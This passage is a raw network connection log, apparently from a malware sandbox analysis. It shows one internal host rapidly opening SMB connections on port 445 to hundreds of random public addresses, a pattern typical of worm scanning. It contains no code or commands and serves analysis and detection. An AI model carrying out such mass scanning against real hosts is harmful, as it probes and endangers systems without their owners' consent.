Jul 20, 2022 09:08:59.719813108 CEST	52024	445	192.168.2.6	122.83.212.112
Jul 20, 2022 09:08:59.720570087 CEST	52025	445	192.168.2.6	18.60.235.169
Jul 20, 2022 09:08:59.721363068 CEST	52026	445	192.168.2.6	211.243.164.108
Jul 20, 2022 09:08:59.722122908 CEST	52027	445	192.168.2.6	66.197.33.145
Jul 20, 2022 09:08:59.726217031 CEST	52031	445	192.168.2.6	40.25.162.174
Jul 20, 2022 09:08:59.727699041 CEST	52033	445	192.168.2.6	114.37.218.29
Jul 20, 2022 09:08:59.728676081 CEST	52034	445	192.168.2.6	96.251.82.241
Jul 20, 2022 09:08:59.730149031 CEST	52036	445	192.168.2.6	189.2.232.222
Jul 20, 2022 09:08:59.730920076 CEST	52037	445	192.168.2.6	187.49.175.18
Jul 20, 2022 09:08:59.733766079 CEST	52041	445	192.168.2.6	221.50.215.91
Jul 20, 2022 09:08:59.734575987 CEST	52042	445	192.168.2.6	141.170.40.233
Jul 20, 2022 09:08:59.735402107 CEST	52043	445	192.168.2.6	186.79.226.190
Jul 20, 2022 09:08:59.736185074 CEST	52044	445	192.168.2.6	151.80.115.79
Jul 20, 2022 09:08:59.737184048 CEST	52045	445	192.168.2.6	180.66.138.232
Jul 20, 2022 09:08:59.770597935 CEST	445	52010	180.179.173.18	192.168.2.6
Jul 20, 2022 09:09:00.271874905 CEST	52010	445	192.168.2.6	180.179.173.18
Jul 20, 2022 09:09:00.438025951 CEST	445	52010	180.179.173.18	192.168.2.6
Jul 20, 2022 09:09:01.068567038 CEST	52010	445	192.168.2.6	180.179.173.18
Jul 20, 2022 09:09:01.160778046 CEST	52054	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:01.160825968 CEST	443	52054	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:01.160918951 CEST	52054	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:01.161824942 CEST	52054	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:01.161834955 CEST	443	52054	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:01.223828077 CEST	52059	445	192.168.2.6	222.179.237.24
Jul 20, 2022 09:09:01.226078987 CEST	52061	445	192.168.2.6	20.160.25.195
Jul 20, 2022 09:09:01.226875067 CEST	52062	445	192.168.2.6	74.52.60.58
Jul 20, 2022 09:09:01.228331089 CEST	52064	445	192.168.2.6	54.129.149.174
Jul 20, 2022 09:09:01.229080915 CEST	52065	445	192.168.2.6	165.165.149.54
Jul 20, 2022 09:09:01.232518911 CEST	52070	445	192.168.2.6	181.124.195.220
Jul 20, 2022 09:09:01.233275890 CEST	52071	445	192.168.2.6	86.139.143.142
Jul 20, 2022 09:09:01.234014988 CEST	52072	445	192.168.2.6	49.162.103.226
Jul 20, 2022 09:09:01.234474897 CEST	445	52010	180.179.173.18	192.168.2.6
Jul 20, 2022 09:09:01.234807014 CEST	52073	445	192.168.2.6	121.183.192.134
Jul 20, 2022 09:09:01.235574961 CEST	52074	445	192.168.2.6	40.250.211.245
Jul 20, 2022 09:09:01.236340046 CEST	52075	445	192.168.2.6	51.200.165.99
Jul 20, 2022 09:09:01.237746000 CEST	52077	445	192.168.2.6	164.65.73.79
Jul 20, 2022 09:09:01.238535881 CEST	52078	445	192.168.2.6	34.235.175.24
Jul 20, 2022 09:09:01.251096010 CEST	443	52054	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:01.251197100 CEST	52054	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:01.254235029 CEST	52054	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:01.254272938 CEST	443	52054	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:01.254491091 CEST	443	52054	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:01.255641937 CEST	52054	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:01.255686998 CEST	52054	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:01.255702019 CEST	443	52054	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:01.255830050 CEST	52054	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:01.282763004 CEST	443	52054	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:01.282883883 CEST	443	52054	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:01.282989979 CEST	52054	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:01.326863050 CEST	52054	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:01.326898098 CEST	443	52054	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:01.340672016 CEST	52079	445	192.168.2.6	123.177.47.186
Jul 20, 2022 09:09:01.346322060 CEST	52080	445	192.168.2.6	145.45.154.121
Jul 20, 2022 09:09:01.346416950 CEST	52081	445	192.168.2.6	82.91.8.99
Jul 20, 2022 09:09:01.346551895 CEST	52082	445	192.168.2.6	84.102.165.182
Jul 20, 2022 09:09:01.346739054 CEST	52084	445	192.168.2.6	5.130.212.239
Jul 20, 2022 09:09:01.346848011 CEST	52085	445	192.168.2.6	126.29.207.228
Jul 20, 2022 09:09:01.346959114 CEST	52086	445	192.168.2.6	116.2.24.202
Jul 20, 2022 09:09:01.347063065 CEST	52087	445	192.168.2.6	195.234.85.109
Jul 20, 2022 09:09:01.347270012 CEST	52091	445	192.168.2.6	219.165.83.8
Jul 20, 2022 09:09:01.347363949 CEST	52092	445	192.168.2.6	123.150.2.114
Jul 20, 2022 09:09:01.347484112 CEST	52093	445	192.168.2.6	57.142.212.237
Jul 20, 2022 09:09:01.347620010 CEST	52094	445	192.168.2.6	149.212.95.166
Jul 20, 2022 09:09:01.347739935 CEST	52095	445	192.168.2.6	221.188.70.179
Jul 20, 2022 09:09:01.347847939 CEST	52096	445	192.168.2.6	20.147.42.67
Jul 20, 2022 09:09:01.347949982 CEST	52097	445	192.168.2.6	5.200.4.143
Jul 20, 2022 09:09:01.348061085 CEST	52098	445	192.168.2.6	38.169.73.34
Jul 20, 2022 09:09:01.397965908 CEST	445	52087	195.234.85.109	192.168.2.6
Jul 20, 2022 09:09:01.437508106 CEST	52076	445	192.168.2.6	13.145.175.204
Jul 20, 2022 09:09:01.990537882 CEST	52087	445	192.168.2.6	195.234.85.109
Jul 20, 2022 09:09:02.045018911 CEST	445	52087	195.234.85.109	192.168.2.6
Jul 20, 2022 09:09:02.599994898 CEST	52087	445	192.168.2.6	195.234.85.109
Jul 20, 2022 09:09:02.649046898 CEST	445	52087	195.234.85.109	192.168.2.6
Jul 20, 2022 09:09:02.959355116 CEST	51687	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:09:03.390683889 CEST	52102	445	192.168.2.6	197.53.174.150
Jul 20, 2022 09:09:03.390873909 CEST	52110	445	192.168.2.6	34.199.181.101
Jul 20, 2022 09:09:03.390906096 CEST	52109	445	192.168.2.6	55.103.115.215
Jul 20, 2022 09:09:03.391165972 CEST	52115	445	192.168.2.6	76.209.13.116
Jul 20, 2022 09:09:03.391256094 CEST	52117	445	192.168.2.6	192.232.103.33
Jul 20, 2022 09:09:03.391259909 CEST	52114	445	192.168.2.6	89.182.86.13
Jul 20, 2022 09:09:03.391364098 CEST	52120	445	192.168.2.6	173.103.39.34
Jul 20, 2022 09:09:03.391366005 CEST	52111	445	192.168.2.6	17.34.167.193
Jul 20, 2022 09:09:03.391391039 CEST	52112	445	192.168.2.6	116.248.239.101
Jul 20, 2022 09:09:03.391398907 CEST	52113	445	192.168.2.6	141.36.44.115
Jul 20, 2022 09:09:03.391427994 CEST	52121	445	192.168.2.6	132.3.204.187
Jul 20, 2022 09:09:03.391459942 CEST	52122	445	192.168.2.6	202.3.155.195
Jul 20, 2022 09:09:03.391604900 CEST	52124	445	192.168.2.6	143.106.171.237
Jul 20, 2022 09:09:03.391659975 CEST	52125	445	192.168.2.6	157.221.12.134
Jul 20, 2022 09:09:03.391769886 CEST	52127	445	192.168.2.6	31.142.195.220
Jul 20, 2022 09:09:03.391863108 CEST	52129	445	192.168.2.6	203.196.24.146
Jul 20, 2022 09:09:03.391871929 CEST	52128	445	192.168.2.6	83.233.26.76
Jul 20, 2022 09:09:03.391974926 CEST	52131	445	192.168.2.6	172.152.165.162
Jul 20, 2022 09:09:03.392093897 CEST	52133	445	192.168.2.6	198.70.254.126
Jul 20, 2022 09:09:03.392153025 CEST	52134	445	192.168.2.6	82.128.254.219
Jul 20, 2022 09:09:03.392177105 CEST	52126	445	192.168.2.6	22.42.66.111
Jul 20, 2022 09:09:03.392196894 CEST	52130	445	192.168.2.6	50.158.163.5
Jul 20, 2022 09:09:03.392205954 CEST	52132	445	192.168.2.6	43.47.238.44
Jul 20, 2022 09:09:03.392216921 CEST	52135	445	192.168.2.6	39.29.95.147
Jul 20, 2022 09:09:03.392335892 CEST	52136	445	192.168.2.6	191.151.241.170
Jul 20, 2022 09:09:03.392338037 CEST	52137	445	192.168.2.6	195.157.18.54
Jul 20, 2022 09:09:03.478230953 CEST	52141	445	192.168.2.6	101.129.2.195
Jul 20, 2022 09:09:03.493083954 CEST	52145	445	192.168.2.6	145.49.224.212
Jul 20, 2022 09:09:03.493886948 CEST	52146	445	192.168.2.6	52.219.129.38
Jul 20, 2022 09:09:03.493889093 CEST	52148	445	192.168.2.6	88.8.5.2
Jul 20, 2022 09:09:03.506021023 CEST	52149	445	192.168.2.6	166.80.113.73
Jul 20, 2022 09:09:04.551131010 CEST	52152	445	192.168.2.6	217.192.29.28
Jul 20, 2022 09:09:04.551378012 CEST	52158	445	192.168.2.6	197.128.239.28
Jul 20, 2022 09:09:04.551424980 CEST	52159	445	192.168.2.6	9.25.235.126
Jul 20, 2022 09:09:04.551498890 CEST	52160	445	192.168.2.6	115.231.168.250
Jul 20, 2022 09:09:04.551590919 CEST	52162	445	192.168.2.6	57.246.139.159
Jul 20, 2022 09:09:04.551647902 CEST	52163	445	192.168.2.6	154.9.192.94
Jul 20, 2022 09:09:04.551776886 CEST	52164	445	192.168.2.6	221.193.15.170
Jul 20, 2022 09:09:04.551862001 CEST	52165	445	192.168.2.6	174.114.103.245
Jul 20, 2022 09:09:04.551942110 CEST	52166	445	192.168.2.6	84.252.171.222
Jul 20, 2022 09:09:04.552164078 CEST	52170	445	192.168.2.6	5.144.79.152
Jul 20, 2022 09:09:04.552216053 CEST	52171	445	192.168.2.6	176.87.141.165
Jul 20, 2022 09:09:04.552284956 CEST	52172	445	192.168.2.6	63.95.46.63
Jul 20, 2022 09:09:04.552416086 CEST	52175	445	192.168.2.6	3.105.76.112
Jul 20, 2022 09:09:04.552514076 CEST	52176	445	192.168.2.6	172.94.151.169
Jul 20, 2022 09:09:04.552622080 CEST	52177	445	192.168.2.6	85.228.85.227
Jul 20, 2022 09:09:04.552701950 CEST	52178	445	192.168.2.6	83.237.64.65
Jul 20, 2022 09:09:04.552782059 CEST	52179	445	192.168.2.6	8.156.248.203
Jul 20, 2022 09:09:04.552874088 CEST	52180	445	192.168.2.6	52.74.244.82
Jul 20, 2022 09:09:04.552933931 CEST	52181	445	192.168.2.6	66.191.177.157
Jul 20, 2022 09:09:04.553010941 CEST	52182	445	192.168.2.6	3.46.244.141
Jul 20, 2022 09:09:04.553282976 CEST	52183	445	192.168.2.6	216.232.8.98
Jul 20, 2022 09:09:04.553373098 CEST	52184	445	192.168.2.6	122.63.0.21
Jul 20, 2022 09:09:04.553533077 CEST	52185	445	192.168.2.6	68.252.72.28
Jul 20, 2022 09:09:04.553601027 CEST	52186	445	192.168.2.6	18.190.75.40
Jul 20, 2022 09:09:04.553692102 CEST	52187	445	192.168.2.6	158.113.34.171
Jul 20, 2022 09:09:04.599688053 CEST	52173	445	192.168.2.6	169.4.138.115
Jul 20, 2022 09:09:04.601177931 CEST	52190	445	192.168.2.6	188.84.39.251
Jul 20, 2022 09:09:04.665967941 CEST	52194	445	192.168.2.6	172.10.47.178
Jul 20, 2022 09:09:04.666712999 CEST	52195	445	192.168.2.6	40.46.172.20
Jul 20, 2022 09:09:04.668317080 CEST	52197	445	192.168.2.6	3.219.247.45
Jul 20, 2022 09:09:04.669081926 CEST	52198	445	192.168.2.6	68.14.48.15
Jul 20, 2022 09:09:05.695422888 CEST	52202	445	192.168.2.6	7.181.16.223
Jul 20, 2022 09:09:05.696178913 CEST	52203	445	192.168.2.6	130.181.28.9
Jul 20, 2022 09:09:05.696904898 CEST	52204	445	192.168.2.6	66.82.12.195
Jul 20, 2022 09:09:05.697599888 CEST	52205	445	192.168.2.6	172.178.234.139
Jul 20, 2022 09:09:05.698291063 CEST	52206	445	192.168.2.6	130.148.110.254
Jul 20, 2022 09:09:05.699280977 CEST	52207	445	192.168.2.6	214.101.34.44
Jul 20, 2022 09:09:05.701545954 CEST	52208	445	192.168.2.6	6.222.143.245
Jul 20, 2022 09:09:05.717410088 CEST	52209	445	192.168.2.6	96.144.95.1
Jul 20, 2022 09:09:05.730623960 CEST	52210	445	192.168.2.6	87.73.196.77
Jul 20, 2022 09:09:05.731933117 CEST	52216	445	192.168.2.6	194.113.132.173
Jul 20, 2022 09:09:05.732206106 CEST	52217	445	192.168.2.6	184.96.11.155
Jul 20, 2022 09:09:05.732352972 CEST	52218	445	192.168.2.6	121.125.118.189
Jul 20, 2022 09:09:05.732539892 CEST	52220	445	192.168.2.6	61.92.102.167
Jul 20, 2022 09:09:05.732675076 CEST	52221	445	192.168.2.6	198.110.42.83
Jul 20, 2022 09:09:05.732796907 CEST	52222	445	192.168.2.6	93.233.31.233
Jul 20, 2022 09:09:05.732919931 CEST	52223	445	192.168.2.6	54.233.20.228
Jul 20, 2022 09:09:05.733037949 CEST	52224	445	192.168.2.6	87.200.106.211
Jul 20, 2022 09:09:05.733198881 CEST	52228	445	192.168.2.6	57.65.197.215
Jul 20, 2022 09:09:05.733295918 CEST	52229	445	192.168.2.6	118.223.239.242
Jul 20, 2022 09:09:05.733325005 CEST	52230	445	192.168.2.6	170.147.217.174
Jul 20, 2022 09:09:05.733447075 CEST	52232	445	192.168.2.6	165.120.118.48
Jul 20, 2022 09:09:05.733453989 CEST	52233	445	192.168.2.6	55.183.130.93
Jul 20, 2022 09:09:05.733586073 CEST	52235	445	192.168.2.6	194.222.74.208
Jul 20, 2022 09:09:05.733597040 CEST	52234	445	192.168.2.6	200.92.136.252
Jul 20, 2022 09:09:05.733705044 CEST	52236	445	192.168.2.6	165.6.107.211
Jul 20, 2022 09:09:05.736972094 CEST	52237	445	192.168.2.6	163.211.50.138
Jul 20, 2022 09:09:05.737152100 CEST	52240	445	192.168.2.6	67.214.183.225
Jul 20, 2022 09:09:05.792810917 CEST	52244	445	192.168.2.6	121.65.184.34
Jul 20, 2022 09:09:05.797919035 CEST	52245	445	192.168.2.6	171.71.151.157
Jul 20, 2022 09:09:05.798533916 CEST	52247	445	192.168.2.6	66.26.97.231
Jul 20, 2022 09:09:05.798701048 CEST	52248	445	192.168.2.6	20.50.21.15
Jul 20, 2022 09:09:05.804023981 CEST	445	52204	66.82.12.195	192.168.2.6
Jul 20, 2022 09:09:06.490998983 CEST	52204	445	192.168.2.6	66.82.12.195
Jul 20, 2022 09:09:06.599076986 CEST	445	52204	66.82.12.195	192.168.2.6
Jul 20, 2022 09:09:06.821542025 CEST	52252	445	192.168.2.6	58.147.152.142
Jul 20, 2022 09:09:06.822290897 CEST	52253	445	192.168.2.6	128.78.188.73
Jul 20, 2022 09:09:06.823013067 CEST	52254	445	192.168.2.6	170.85.242.50
Jul 20, 2022 09:09:06.825391054 CEST	52255	445	192.168.2.6	168.76.5.223
Jul 20, 2022 09:09:06.840122938 CEST	52256	445	192.168.2.6	149.108.241.11
Jul 20, 2022 09:09:06.841216087 CEST	52257	445	192.168.2.6	100.170.2.145
Jul 20, 2022 09:09:06.842072010 CEST	52258	445	192.168.2.6	137.47.34.133
Jul 20, 2022 09:09:06.843671083 CEST	52260	445	192.168.2.6	56.26.78.175
Jul 20, 2022 09:09:06.844407082 CEST	52261	445	192.168.2.6	182.178.137.132
Jul 20, 2022 09:09:06.845232964 CEST	52262	445	192.168.2.6	99.34.97.27
Jul 20, 2022 09:09:06.869513988 CEST	52264	445	192.168.2.6	205.126.218.216
Jul 20, 2022 09:09:06.869568110 CEST	52265	445	192.168.2.6	8.36.205.8
Jul 20, 2022 09:09:06.869626045 CEST	52266	445	192.168.2.6	118.103.198.87
Jul 20, 2022 09:09:06.869729042 CEST	52269	445	192.168.2.6	1.195.140.52
Jul 20, 2022 09:09:06.869762897 CEST	52268	445	192.168.2.6	185.39.141.195
Jul 20, 2022 09:09:06.869823933 CEST	52267	445	192.168.2.6	160.47.133.127
Jul 20, 2022 09:09:06.870100021 CEST	52272	445	192.168.2.6	27.127.119.169
Jul 20, 2022 09:09:06.870280981 CEST	52274	445	192.168.2.6	79.36.246.178
Jul 20, 2022 09:09:06.870313883 CEST	52273	445	192.168.2.6	39.67.234.80
Jul 20, 2022 09:09:06.870628119 CEST	52279	445	192.168.2.6	160.76.231.37
Jul 20, 2022 09:09:06.870677948 CEST	52281	445	192.168.2.6	107.251.33.42
Jul 20, 2022 09:09:06.870861053 CEST	52282	445	192.168.2.6	121.22.59.244
Jul 20, 2022 09:09:06.870959044 CEST	52283	445	192.168.2.6	202.137.45.190
Jul 20, 2022 09:09:06.871071100 CEST	52285	445	192.168.2.6	83.247.232.228
Jul 20, 2022 09:09:06.871153116 CEST	52286	445	192.168.2.6	73.102.46.136
Jul 20, 2022 09:09:06.871210098 CEST	52288	445	192.168.2.6	132.169.2.181
Jul 20, 2022 09:09:06.871273041 CEST	52287	445	192.168.2.6	27.104.9.178
Jul 20, 2022 09:09:06.916531086 CEST	52294	445	192.168.2.6	189.228.104.219
Jul 20, 2022 09:09:06.917090893 CEST	52295	445	192.168.2.6	188.56.186.121
Jul 20, 2022 09:09:06.918100119 CEST	52297	445	192.168.2.6	78.240.248.3
Jul 20, 2022 09:09:06.918689966 CEST	52298	445	192.168.2.6	35.76.227.231
Jul 20, 2022 09:09:07.944874048 CEST	52303	445	192.168.2.6	55.218.51.31
Jul 20, 2022 09:09:07.945658922 CEST	52304	445	192.168.2.6	193.193.100.193
Jul 20, 2022 09:09:07.946686983 CEST	52305	445	192.168.2.6	34.145.195.56
Jul 20, 2022 09:09:07.946768045 CEST	52306	445	192.168.2.6	123.214.15.237
Jul 20, 2022 09:09:07.962624073 CEST	52307	445	192.168.2.6	36.59.247.90
Jul 20, 2022 09:09:07.963150978 CEST	52309	445	192.168.2.6	222.46.242.162
Jul 20, 2022 09:09:07.963160038 CEST	52308	445	192.168.2.6	169.209.189.38
Jul 20, 2022 09:09:07.963306904 CEST	52311	445	192.168.2.6	165.248.121.26
Jul 20, 2022 09:09:07.963386059 CEST	52312	445	192.168.2.6	121.103.121.144
Jul 20, 2022 09:09:07.963387966 CEST	52313	445	192.168.2.6	175.91.83.5
Jul 20, 2022 09:09:07.991789103 CEST	52314	445	192.168.2.6	74.146.80.72
Jul 20, 2022 09:09:07.992368937 CEST	52315	445	192.168.2.6	91.232.39.115
Jul 20, 2022 09:09:07.993076086 CEST	52316	445	192.168.2.6	162.11.141.204
Jul 20, 2022 09:09:07.995634079 CEST	52320	445	192.168.2.6	126.202.195.85
Jul 20, 2022 09:09:07.996395111 CEST	52321	445	192.168.2.6	208.103.94.171
Jul 20, 2022 09:09:07.997175932 CEST	52322	445	192.168.2.6	98.158.152.146
Jul 20, 2022 09:09:07.997968912 CEST	52323	445	192.168.2.6	105.20.143.231
Jul 20, 2022 09:09:07.998670101 CEST	52324	445	192.168.2.6	100.196.204.101
Jul 20, 2022 09:09:07.999391079 CEST	52325	445	192.168.2.6	108.189.23.36
Jul 20, 2022 09:09:08.000111103 CEST	52326	445	192.168.2.6	75.178.222.216
Jul 20, 2022 09:09:08.002144098 CEST	52329	445	192.168.2.6	155.58.23.97
Jul 20, 2022 09:09:08.002911091 CEST	52330	445	192.168.2.6	55.61.248.109
Jul 20, 2022 09:09:08.006417036 CEST	52335	445	192.168.2.6	128.215.63.177
Jul 20, 2022 09:09:08.008438110 CEST	52337	445	192.168.2.6	69.5.198.200
Jul 20, 2022 09:09:08.009175062 CEST	52338	445	192.168.2.6	219.178.248.214
Jul 20, 2022 09:09:08.010051012 CEST	52339	445	192.168.2.6	198.211.43.230
Jul 20, 2022 09:09:08.011478901 CEST	52341	445	192.168.2.6	223.215.208.102
Jul 20, 2022 09:09:08.054881096 CEST	52342	445	192.168.2.6	145.239.23.5
Jul 20, 2022 09:09:08.055716038 CEST	52343	445	192.168.2.6	132.220.217.210
Jul 20, 2022 09:09:08.057471991 CEST	52345	445	192.168.2.6	72.104.56.94
Jul 20, 2022 09:09:08.059027910 CEST	52346	445	192.168.2.6	50.75.115.143
Jul 20, 2022 09:09:08.180604935 CEST	445	52339	198.211.43.230	192.168.2.6
Jul 20, 2022 09:09:08.713860035 CEST	52339	445	192.168.2.6	198.211.43.230
Jul 20, 2022 09:09:08.886293888 CEST	445	52339	198.211.43.230	192.168.2.6
Jul 20, 2022 09:09:09.084671974 CEST	52354	445	192.168.2.6	93.145.105.38
Jul 20, 2022 09:09:09.085196018 CEST	52355	445	192.168.2.6	1.173.217.23
Jul 20, 2022 09:09:09.085326910 CEST	52356	445	192.168.2.6	162.67.134.86
Jul 20, 2022 09:09:09.085416079 CEST	52357	445	192.168.2.6	166.55.158.239
Jul 20, 2022 09:09:09.089596033 CEST	52358	445	192.168.2.6	174.120.154.242
Jul 20, 2022 09:09:09.089705944 CEST	52359	445	192.168.2.6	31.99.241.166
Jul 20, 2022 09:09:09.090092897 CEST	52360	445	192.168.2.6	200.23.98.8
Jul 20, 2022 09:09:09.090331078 CEST	52362	445	192.168.2.6	104.248.111.220
Jul 20, 2022 09:09:09.090352058 CEST	52363	445	192.168.2.6	131.203.25.158
Jul 20, 2022 09:09:09.090476990 CEST	52364	445	192.168.2.6	59.39.231.62
Jul 20, 2022 09:09:09.123704910 CEST	52365	445	192.168.2.6	21.138.248.202
Jul 20, 2022 09:09:09.124524117 CEST	52366	445	192.168.2.6	106.51.90.56
Jul 20, 2022 09:09:09.125276089 CEST	52367	445	192.168.2.6	164.87.253.39
Jul 20, 2022 09:09:09.128109932 CEST	52371	445	192.168.2.6	36.83.31.7
Jul 20, 2022 09:09:09.129079103 CEST	52372	445	192.168.2.6	103.155.33.149
Jul 20, 2022 09:09:09.129808903 CEST	52373	445	192.168.2.6	9.180.19.13
Jul 20, 2022 09:09:09.130563974 CEST	52374	445	192.168.2.6	26.90.128.110
Jul 20, 2022 09:09:09.131334066 CEST	52375	445	192.168.2.6	19.4.25.231
Jul 20, 2022 09:09:09.132268906 CEST	52376	445	192.168.2.6	134.72.201.68
Jul 20, 2022 09:09:09.133044958 CEST	52377	445	192.168.2.6	119.71.67.147
Jul 20, 2022 09:09:09.159603119 CEST	52380	445	192.168.2.6	92.245.122.65
Jul 20, 2022 09:09:09.159693956 CEST	52381	445	192.168.2.6	200.60.243.218
Jul 20, 2022 09:09:09.159953117 CEST	52386	445	192.168.2.6	192.216.75.117
Jul 20, 2022 09:09:09.160013914 CEST	52387	445	192.168.2.6	176.158.35.253
Jul 20, 2022 09:09:09.160104036 CEST	52388	445	192.168.2.6	87.98.88.63
Jul 20, 2022 09:09:09.160187960 CEST	52389	445	192.168.2.6	129.177.78.180
Jul 20, 2022 09:09:09.160310030 CEST	52391	445	192.168.2.6	135.119.158.47
Jul 20, 2022 09:09:09.203288078 CEST	52393	445	192.168.2.6	147.20.132.240
Jul 20, 2022 09:09:09.215569973 CEST	52395	445	192.168.2.6	165.19.171.166
Jul 20, 2022 09:09:09.215780020 CEST	52394	445	192.168.2.6	205.234.62.5
Jul 20, 2022 09:09:09.215903044 CEST	52397	445	192.168.2.6	159.41.232.28
Jul 20, 2022 09:09:09.336901903 CEST	445	52371	36.83.31.7	192.168.2.6
Jul 20, 2022 09:09:09.959947109 CEST	52371	445	192.168.2.6	36.83.31.7
Jul 20, 2022 09:09:10.169037104 CEST	445	52371	36.83.31.7	192.168.2.6
Jul 20, 2022 09:09:10.203208923 CEST	52406	445	192.168.2.6	51.152.126.115
Jul 20, 2022 09:09:10.203536987 CEST	52407	445	192.168.2.6	43.81.178.109
Jul 20, 2022 09:09:10.203610897 CEST	52408	445	192.168.2.6	47.228.71.121
Jul 20, 2022 09:09:10.203681946 CEST	52409	445	192.168.2.6	56.110.22.184
Jul 20, 2022 09:09:10.203748941 CEST	52410	445	192.168.2.6	112.150.77.11
Jul 20, 2022 09:09:10.203906059 CEST	52411	445	192.168.2.6	163.64.125.82
Jul 20, 2022 09:09:10.204055071 CEST	52412	445	192.168.2.6	8.41.166.153
Jul 20, 2022 09:09:10.204164982 CEST	52414	445	192.168.2.6	209.7.92.134
Jul 20, 2022 09:09:10.204212904 CEST	52415	445	192.168.2.6	188.218.183.65
Jul 20, 2022 09:09:10.204314947 CEST	52416	445	192.168.2.6	130.62.82.91
Jul 20, 2022 09:09:10.227988005 CEST	52417	445	192.168.2.6	14.45.179.139
Jul 20, 2022 09:09:10.228602886 CEST	52418	445	192.168.2.6	51.238.207.162
Jul 20, 2022 09:09:10.229182959 CEST	52419	445	192.168.2.6	43.133.54.95
Jul 20, 2022 09:09:10.231373072 CEST	52423	445	192.168.2.6	191.135.8.112
Jul 20, 2022 09:09:10.232033014 CEST	52424	445	192.168.2.6	199.170.70.20
Jul 20, 2022 09:09:10.232795954 CEST	52425	445	192.168.2.6	219.143.180.165
Jul 20, 2022 09:09:10.233675003 CEST	52426	445	192.168.2.6	164.236.166.231
Jul 20, 2022 09:09:10.234412909 CEST	52427	445	192.168.2.6	37.248.143.24
Jul 20, 2022 09:09:10.242468119 CEST	52429	445	192.168.2.6	149.233.215.240
Jul 20, 2022 09:09:10.243048906 CEST	52430	445	192.168.2.6	18.212.11.20
Jul 20, 2022 09:09:10.273425102 CEST	52431	445	192.168.2.6	156.154.228.154
Jul 20, 2022 09:09:10.275085926 CEST	52433	445	192.168.2.6	41.179.77.193
Jul 20, 2022 09:09:10.302942038 CEST	52436	445	192.168.2.6	191.77.26.106
Jul 20, 2022 09:09:10.303086996 CEST	52437	445	192.168.2.6	172.182.178.54
Jul 20, 2022 09:09:10.303340912 CEST	52443	445	192.168.2.6	28.17.143.165
Jul 20, 2022 09:09:10.303361893 CEST	52442	445	192.168.2.6	68.57.47.229
Jul 20, 2022 09:09:10.303607941 CEST	52444	445	192.168.2.6	165.107.253.217
Jul 20, 2022 09:09:10.306358099 CEST	52445	445	192.168.2.6	167.74.109.145
Jul 20, 2022 09:09:10.338485003 CEST	52451	445	192.168.2.6	26.63.32.198
Jul 20, 2022 09:09:10.338498116 CEST	52448	445	192.168.2.6	159.22.70.187
Jul 20, 2022 09:09:10.338599920 CEST	52452	445	192.168.2.6	11.154.221.76
Jul 20, 2022 09:09:11.309530973 CEST	52458	445	192.168.2.6	59.152.63.49
Jul 20, 2022 09:09:11.309655905 CEST	52459	445	192.168.2.6	4.216.16.187
Jul 20, 2022 09:09:11.309698105 CEST	52460	445	192.168.2.6	24.19.10.132
Jul 20, 2022 09:09:11.309782028 CEST	52461	445	192.168.2.6	26.194.250.122
Jul 20, 2022 09:09:11.309792042 CEST	52462	445	192.168.2.6	72.110.129.39
Jul 20, 2022 09:09:11.309878111 CEST	52463	445	192.168.2.6	24.72.190.51
Jul 20, 2022 09:09:11.309897900 CEST	52464	445	192.168.2.6	42.133.96.115
Jul 20, 2022 09:09:11.310038090 CEST	52466	445	192.168.2.6	185.115.191.48
Jul 20, 2022 09:09:11.310123920 CEST	52467	445	192.168.2.6	153.249.19.75
Jul 20, 2022 09:09:11.310184002 CEST	52468	445	192.168.2.6	13.239.79.246
Jul 20, 2022 09:09:11.337455034 CEST	52469	445	192.168.2.6	23.33.47.51
Jul 20, 2022 09:09:11.359796047 CEST	52470	445	192.168.2.6	186.18.212.187
Jul 20, 2022 09:09:11.360049963 CEST	52472	445	192.168.2.6	160.175.190.79
Jul 20, 2022 09:09:11.360234022 CEST	52475	445	192.168.2.6	194.234.33.164
Jul 20, 2022 09:09:11.360366106 CEST	52476	445	192.168.2.6	104.198.66.123
Jul 20, 2022 09:09:11.360502958 CEST	52477	445	192.168.2.6	123.210.63.72
Jul 20, 2022 09:09:11.360579967 CEST	52478	445	192.168.2.6	155.2.152.141
Jul 20, 2022 09:09:11.361366987 CEST	52479	445	192.168.2.6	187.87.197.151
Jul 20, 2022 09:09:11.367784977 CEST	52481	445	192.168.2.6	25.150.31.70
Jul 20, 2022 09:09:11.368494987 CEST	52482	445	192.168.2.6	63.48.102.66
Jul 20, 2022 09:09:11.399665117 CEST	52483	445	192.168.2.6	48.185.67.93
Jul 20, 2022 09:09:11.410847902 CEST	52485	445	192.168.2.6	17.189.222.94
Jul 20, 2022 09:09:11.414707899 CEST	52488	445	192.168.2.6	206.227.21.33
Jul 20, 2022 09:09:11.415447950 CEST	52489	445	192.168.2.6	88.132.169.148
Jul 20, 2022 09:09:11.416877985 CEST	52491	445	192.168.2.6	154.34.186.95
Jul 20, 2022 09:09:11.420614958 CEST	52495	445	192.168.2.6	104.74.94.16
Jul 20, 2022 09:09:11.420885086 CEST	52497	445	192.168.2.6	14.33.244.71
Jul 20, 2022 09:09:11.445308924 CEST	52498	445	192.168.2.6	183.74.14.25
Jul 20, 2022 09:09:11.446096897 CEST	52499	445	192.168.2.6	140.219.86.245
Jul 20, 2022 09:09:11.446782112 CEST	52500	445	192.168.2.6	91.98.98.56
Jul 20, 2022 09:09:11.724726915 CEST	445	52458	59.152.63.49	192.168.2.6
Jul 20, 2022 09:09:12.303936958 CEST	52458	445	192.168.2.6	59.152.63.49
Jul 20, 2022 09:09:12.429876089 CEST	52511	445	192.168.2.6	8.10.73.201
